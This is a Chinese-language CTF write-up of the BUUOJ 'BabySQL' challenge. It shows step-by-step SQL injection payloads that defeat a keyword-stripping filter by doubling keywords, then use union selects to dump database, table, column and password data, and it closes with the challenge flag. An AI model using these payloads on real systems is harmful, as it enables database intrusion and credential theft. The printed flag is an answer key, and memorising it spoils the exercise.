CTFer成长记录——CTF之Web专题·极客大挑战—BabySQL

发布时间 2023-08-03 18:31:19作者: MiracleWolf

一、题目链接

https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL

二、解法步骤

  本题是SQL注入,那么先尝试万能密码:1' or 1=1#

  发现or后面的东西都失效了,猜测对or进行了过滤,这里用双写绕过试试:1' oorr 1=1#:

  登陆成功。接下来就是老套路,查字段数:oorrder by 3#试试

  by也过滤了,继续双写:payload:admin' oorrder bbyy 3#

  然后union select联合查询,这里union和select也被过滤,继续双写:1' uunionnion seselectlect 1,2,3#。这里用admin改成1,避免查出真的账号密码,干扰回显。

  

  可以发现回显点为2,3。接下来查版本,数据库名:1' uunionnion seselectlect 1,database(),version()#  

  

  查表名,from,where也需要双写,带有or的还要双写:1' uunionnion seselectlect 1,group_concat(table_name),version() frfromom infoorrmation_schema.tables whwhereere table_schema='geek'# 

  

  接着查表中的列名:这里and也被过滤:1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'#

  

  最后查字段:1' ununionion seselectlect 1,2,group_concat(passwoorrd) frfromom geek.b4bsql#

  

  flag{c441f407-de53-45e1-8b01-9415b23f1e5a}

三、总结

  本题依然是常规的SQL联合查询,这次加了双写绕过,总体难度不大。